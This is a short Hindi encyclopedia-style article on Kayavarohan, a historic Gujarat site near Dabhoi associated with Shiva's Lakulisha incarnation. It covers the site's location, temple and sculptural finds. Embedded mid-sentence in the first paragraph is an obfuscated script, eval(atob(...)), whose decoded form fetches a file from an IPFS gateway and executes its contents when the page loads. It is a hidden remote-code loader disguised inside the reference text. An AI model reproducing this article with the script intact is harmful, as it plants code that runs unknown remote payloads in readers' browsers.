कायावरोहन

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कायावरोहन गुजरात में स्थित एक ऐतिहासिक स्थान है, जिसका सम्बन्ध भगवान शिव से बताया गया है। यह स्थान गुजरात के बड़ौदा नगर से 16 मील (लगभग 25.6 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> दक्षिण-पूर्व में स्थित एक प्रसिद्ध नगर दभोई में स्थित है। गाँधीनगर से यह स्थान लगभग 100 किलोमीटर दूर पड़ता है। कायावरोहन का आधुनिक नाम 'कारवण' है।

शिव
  • यह स्थान भगवान शिव को समर्पित उनके लकुलीश अवतार के मन्दिर के लिए प्रसिद्ध है।
  • लकुलीश भगवान शिव के 24वें अवतार माने जाते हैं, जिन्होंने पाशुपत शैव धर्म की स्थापना की थी।
  • ऐसी मान्यता है कि 'लकुलीश सम्प्रदाय' की लोकप्रियता के साथ-साथ योगीश्वर शिव के स्वरूप का बैठे हुए लकुलीश में रूपान्तरण हो गया। इसमें लकुलीश की दो भुजाएँ, जिनमें एक में 'लकुट' तथा दूसरे में 'मातुलिंग' फल अंकित किया जाता है।
  • यह भी माना जाता है कि चारों युगों में कायावरोहन का अस्तित्व रहा है।
  • कायावरोहन से दूसरी शताब्दी की अनेक मूर्तियाँ और चिह्न प्राप्त हुए हैं।
  • इस ऐतिहासिक स्थान से भगवान कार्तिकेय और उमा-महेश्वर की प्रतिमा भी प्राप्त हुई हैं।


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टीका टिप्पणी और संदर्भ

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